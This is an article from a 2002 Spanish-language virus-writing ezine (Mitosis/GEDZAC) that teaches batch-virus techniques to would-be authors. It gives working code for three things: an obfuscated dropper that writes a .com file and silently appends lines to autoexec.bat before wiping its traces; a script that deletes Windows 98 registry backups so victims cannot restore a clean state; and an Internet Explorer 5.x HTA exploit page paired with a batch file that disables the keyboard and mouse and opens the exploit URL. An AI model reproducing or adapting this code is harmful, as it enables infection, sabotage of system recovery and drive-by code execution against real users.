Copy Link
Add to Bookmark
Report
Gedzac Mitosis Ezine Issue 01 012
(C) MITOSIS #1 E-Zine/GEDZAC 2002
Tema : Técnicas avanzadas para la programación de virus batch.
Autor : Jtag
Válido para : MS-DOS / Windows
--------------------------------------------------------------------------------------------
INTRODUCCIÓN:
Parte del código que se presenta a continuación puede encontrarse en la sección "Virus"
de esta 1º edición en formato .bat siendo completamente funcional.
Básicamente es un conjunto de técnicas que comenzé a experimentar y que en mi próximo
virus estarán presentes.
El fichero.bat incluido en la sección "virus" de esta revista es un conjunto de rutinas
que sirven sólo para DEMOSTRAR la explicación que este artículo presenta.
Queda bajo responsabilidad del usuario la ejecución y las consecuencias y/o modificaciones
que dicho código pueda realizar sobre el sistema.
--------------------------------------------------------------------------------------------
CÓDIGO REAL:
El primer ejemplo demuestra cómo ocultar una búsqueda interna de líneas dentro de un fichero.
De esta manera es obligatorio el desensamblado del fichero para conocer el contenido y la
clase de código de que se trata.
La función que realiza el presente código es la escritura de varias líneas dentro de un fichero destino (para este caso el autoexec.bat, pero puede modificarse el destino a pleno gusto).
Lo realizaremos mediante un código hexadecimal capaz de generar un fichero de formato .com
que pueda ser ensamblado mediante el debug.com de windows ó D.O.S.
El código además genera ficheros SIN EXTENSIÓN donde se va a contener la información
momentánea que utilizará el fichero central. Luego del proceso son automáticamente eliminados,asimismo se elimina toda la basura generada, dejando el sistema limpio.
Al inicio se redirecciona un bloque de caracteres ascii hacia un fichero sin extensión.
El truco para la generación de ficheros sin extensión es encerrar el nombre del fichero
en % % intentando crear una variable de entorno que en realidad Windows y D.O.S. no poseen.
De esta manera queda el fichero sin extensión. Sólo el filename.
Dentro de este fichero será escaneada una serie de valores verdaderos o falsos, en caso de
encontrarse uno de éstos se genera o no se genera una variable de entorno.
Al agrupar toda una serie de variables de entorno y redirigirlas a otro fichero pueden ser escaneadas
por un último fichero central (de extensión .com para dificultar la tarea de saber cuáles son las cadenas que usará el virus) y realizar una acción dependiendo de lo que contengan esas cadenas de órdenes.
El fichero .com escanea exactamente entre las líneas 4 y 6 (incluidas) del fichero signature.ico
Éstas pueden ser cambiadas a gusto. Lo mismo con las líneas que incluirá en el autoexec.bat.
::Ejemplo Nº1 ---------------COMIENZA AQUI------------------
@echo off
ctty nul
echo hjgtyiftytyTYTYtyivgiyVGYi12vgfsgdfgJGFHJFgfjhuiYS4EhrdEYyumcgf678xcCFGCGF >> %temp%\%hide%.pif
echo BFC345XcgfGFr586gyhjui5675HJHJhguj456456dffr54hu7678jyuu7gf5frGGGojio089yf >> %temp%\%hide%.pif
echo HJBuiot76346wtesuIgyUIOhift6hjdfg76tr45F7yuDRESWhuiUIGY6678yufrrdAWQAQ7657 >> %temp%\%hide%.pif
echo nmbvhvc3476hdogy567HUGHbhuBHUFxseJUI87rgj56FFrdshjkjU8g5d3uDDRGYuiopHY&UDR >> %temp%\%hide%.pif
echo hjvghgfyRDRYhuNJIJdfhjudfhjg7634hyuu89TYGYhju5yuguydtrTGYU76549hIOKIUhyuGY >> %temp%\%hide%.pif
echo dfghdkobgtytry7655GFDRSERUJKkbhuvgftsergfthjbhjuY7856y8fnjbgfnhjusdfbhuygy >> %temp%\%hide%.pif
echo jienrgtjinFUOUyigyR078hyuty4dfghHFGDFhjhGFRjijiHUHUGYjigygtHUhugfde6gdf4s3 >> %temp%\%hide%.pif
echo FHCGXDFSDF6e448TEDHJghyiggyighjghloJIJIJIhyuGdedfHkidhfrg712n9jh6f45d6hj8g >> %temp%\%hide%.pif
echo hjsdhjowerwweruYITYFFGYIYITYhf6r4h58fhjtrj57rhgr745hr78hj5764gr74hr574fwe4 >> %temp%\%hide%.pif
echo sdfgjsdgbhjuserbhusefbhuwer8fd4e3gfr4t6t5j8hju7o9i8k9hy6j7f4g6de3r5e3g6hGY >> %temp%\%hide%.pif
find "F7y" %temp%\%hide%.pif > nul
if errorlevel=1 ver >> %temp%\windows.pif
if not errorlevel=1 set jhg=@echo
find "9yF" %temp%\%hide%.pif > nul
if errorlevel=1 echo Corrupted by Weird project >> %temp%\windows.pif
if not errorlevel=1 echo Coded by NASA and ZuPerMaN >> %temp%\weird.pif
find "r8fFHCGX" %temp%\%hide%.pif > nul
if errorlevel=1 set erwtwe=@echo
if not errorlevel=1 vol >> %temp%\weird.pif
find "JOk76d4c4" %temp%\%hide%.pif > nul
if errorlevel=1 set gfhdf=@echo
if not errorlevel=1 dir c:\ >> %temp%\weird.pif
find "mAkE712345" %temp%\%hide%.pif > nul
if errorlevel=1 set yu78=@echo RottenGarage virus.
if not errorlevel=1 echo Tornado Worm coded by SpliT and FreAk NUke >> %temp%\Colaroid.pif
find "huNJI6871" %temp%\%hide%.pif > nul
if errorlevel=1 set jijk=@echo GAME OVER
if not errorlevel=1 dir c:\%windir% >> %temp%\Colaroid.pif
find "gj56FFr" %temp%\%hide%.pif > nul
if errorlevel=1 set Tfd=GAME
if not errorlevel=1 set Tfd=@echo off
find "jU8g5d12zaza" %temp%\%hide%.pif > nul
if errorlevel=1 set JHy=@echo
if not errorlevel=1 echo SplIT Virus coded by GeRmANiuM >> %temp%\Colaroid.pif
find "DRSERU" %temp%\%hide%.pif > nul
if errorlevel=1 mem >> %temp%\Colaroid.pif
if not errorlevel=1 set asd=@echo
find "yuDRESWhui" %temp%\%hide%.pif > nul
if errorlevel=1 echo Tifon Virus Warning >> %temp%\weird.pif
if not errorlevel=1 set mu=@echo
find "010aa108" %temp%\%hide%.pif > nul
if errorlevel=1 set ewwr=@echo
if not errorlevel=1 echo Coded by XT and RiP >> %temp%\Colaroid.pif
find "w2ew24ew" %temp%\%hide%.pif > nul
if errorlevel=1 set hj7=@echo
if not errorlevel=1 echo Blinded Tornado >> %temp%\Colaroid.pif
echo %jhg% >> %temp%\%signature%.ico
echo %erwtwe% >> %temp%\%signature%.ico
echo %gfhdf% >> %temp%\%signature%.ico
echo %yu78% >> %temp%\%signature%.ico
echo %jijk% >> %temp%\%signature%.ico
echo %Tfd% >> %temp%\%signature%.ico
echo %JHy% >> %temp%\%signature%.ico
echo %asd% >> %temp%\%signature%.ico
echo %mu% >> %temp%\%signature%.ico
echo %ewwr% >> %temp%\%signature%.ico
echo %hj7% >> %temp%\%signature%.ico
echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=>%temp%\Jtag.com
echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU!WvX0GwUY Wv;ovBX2Gv0ExGIuht6>>%temp%\Jtag.com
echo ?@}IKuNWpe~Fpe?FNHlF?wGMECIQqo{Ox{T?kPv@jeoSeIlRFD@{AyEKj@>>%temp%\Jtag.com
echo iqe~1NeAyR?mHAG~BGRgB{~H?o~TsdgCYqe?HR~upkpBG?~slJBCyA?@xA>>%temp%\Jtag.com
echo LZp{xq`Cs?H[C_vHDyB?Hos@QslFA@wQ~~x}viH}`LYNBGyA?@xAB?sUq`>>%temp%\Jtag.com
echo LRy@PwtCYQEuFK@A~BxPtDss@fFqjVmzD@qBEOEenU?`eHHeBCMs?FExep>>%temp%\Jtag.com
echo LHsPBGyA?@xAunjzA}EKNs@CA?wQpQpKLBHv?s`WJ`LRCYyIWMJaejCksl>>%temp%\Jtag.com
echo H[GyFGhHBwHZjjHeoFasuFUJeHeB?OsQH[xeHCPvqFj@oq@eNc?~}Nu??O>>%temp%\Jtag.com
echo ~oEwoAjBKs?Zp`LBzHQzyEFrAWAG{EFrAqAGYwHTECIQ{coKIsaCsf{Oe~>>%temp%\Jtag.com
echo CK}Ayre~CNFA{rAyEKFACrA{EKGAjbA}eKGSjNMtQFtc{OAyDGFj?{FDGQ>>%temp%\Jtag.com
echo KAjNVk_OCAx@e?f{o?CosI}1EGizhljJ~H1ZeG}JBA~rACBMDGjjDG@g0>>%temp%\Jtag.com
%temp%\Jtag.com 3 "$0d$0a" '" < %temp%\%signature%.ico > %temp%\temporal.dat
%temp%\Jtag.com 3 "$0d$0a" "$0d$0a' < %temp%\temporal.dat >> c:\autoexec.bat
for %%a in (Jtag.com temporal.dat) do if exist %temp%\%%a del %temp%\%%a
del %temp%\*.pif
del %temp%\%signature%.ico
:FIN
exit
::--------------ACABA AQUI------------------
El resultado es una clara marca en el autoexec.bat
La funcionalidad de este trozo de código es la de poder añadir órdenes concretas para
cualquier virus batch y añadirlas al fichero deseado.
Las líneas incluidas aqui son escogidas a modo de ejemplo, asi que siéntete libre de modificarlas a tu gusto.
El siguiente ejemplo es un fragmento de código que realiza una modificación en el scanreg.ini de Windows 98 para que el usuario, una vez infectado con cualquier virus no pueda cargar una configuración anterior, y sólamente pueda cargar una: la infectada.
Esta idea me vino en mente cuando leí en un foro las burlas de alguien que hacía de un virus simplemente porque había podido recuperar un backup que automáticamente realiza windows y de esa manera eliminó las acciones del virus.
Con Backup=0 ó 1 , activamos/desactivamos el verificador de registro.
MaxBackupCopies define la cantidad máxima de copias que realizará Windows una vez cargue el sistema satisfactoriamente.
::Ejemplo Nº2 ---------------COMIENZA AQUI------------------
@echo off
ctty nul
del %windir%\sysbckup\rb*.cab
echo Backup=0 >> %temp%\Scanreg.ini
echo Optimize=0 >> %temp%\Scanreg.ini
echo canregVersion=0.0001 >> %temp%\Scanreg.ini
echo MaxBackupCopies=1 >> %temp%\Scanreg.ini
echo BackupDirectory= >> %temp%\Scanreg.ini
copy /Y %temp%\Scanreg.ini %windir%\Scanreg.ini > nul
exit
::--------------ACABA AQUI------------------
Además de las citadas podemos añadirles otras:
Files= (añade los ficheros que se describan aqui)
Optimize= (Activa la optimización automática del registro. Con 0 no optimiza. Con 1 sí.)
Otra poderosa herramienta en la confección de virus batch es la utilización de exploits
capaces de realizar acciones sin consentimiento del usuario.
El siguiente ejemplo demuestra cómo puede explotarse un famoso bug en el IE 5.0 y 5.5
Este bug permite la ejecución de código arbitrario en la máquina del usuario al apenas abrir
la página con el código del exploit.
Para ello debemos de crear un fichero .html que contenga ésto:
----
MIME-Version: 1.0
To: http-equiv@pobrecito.com
Subject:
.hta
Content-Type: image/gif; charset=us-ascii
Content-Transfer-Encoding: 7bit
<!-- 17.01.2001 http://www.mitosis.com -->
<script>var wsh=new ActiveXObject('WScript.Shell');
wsh.Run('telnet.exe');</script>
----
Hay que respetar sobretodo la cantidad de líneas y espacios para el subject.
Además de ésto deberemos de introducir mediante un script un código capaz de generar
el siguiente proceso batch:
::Ejemplo Nº3 ---------------COMIENZA AQUI------------------
@echo off
ctty nul
RUNDLL KEYBOARD,DISABLE
RUNDLL MOUSE,DISABLE
RunDLL32.EXE url.dll,FileProtocolHandler http://www.pagina_exploit.com
exit
::--------------ACABA AQUI------------------
conteniendo www.pagina_exploit.com la página INDEX con el exploit.
Este batch lo que hizo fue deshabilitar momentáneamente tanto el mouse como el teclado para
permitir el envío de un paquete cualquiera de datos mediante el telnet.exe y que el usuario
tenga que reiniciar obligatoriamente el equipo, de ésta manera dá tiempo para que el paquete
se envíe.
El problema esta en que si el usuario no permite la ejecución de componentes ActiveX mediante
una correcta configuración de su Internet Explorer el bug no puede ser explotado.
Además el sistema no debe de tener los correspondientes parches instalados.
y ya esta, pa la próxima ezine meto más técnicas (quizás).
Ciao.
(C) MITOSIS E-Zine/GEDZAC 2002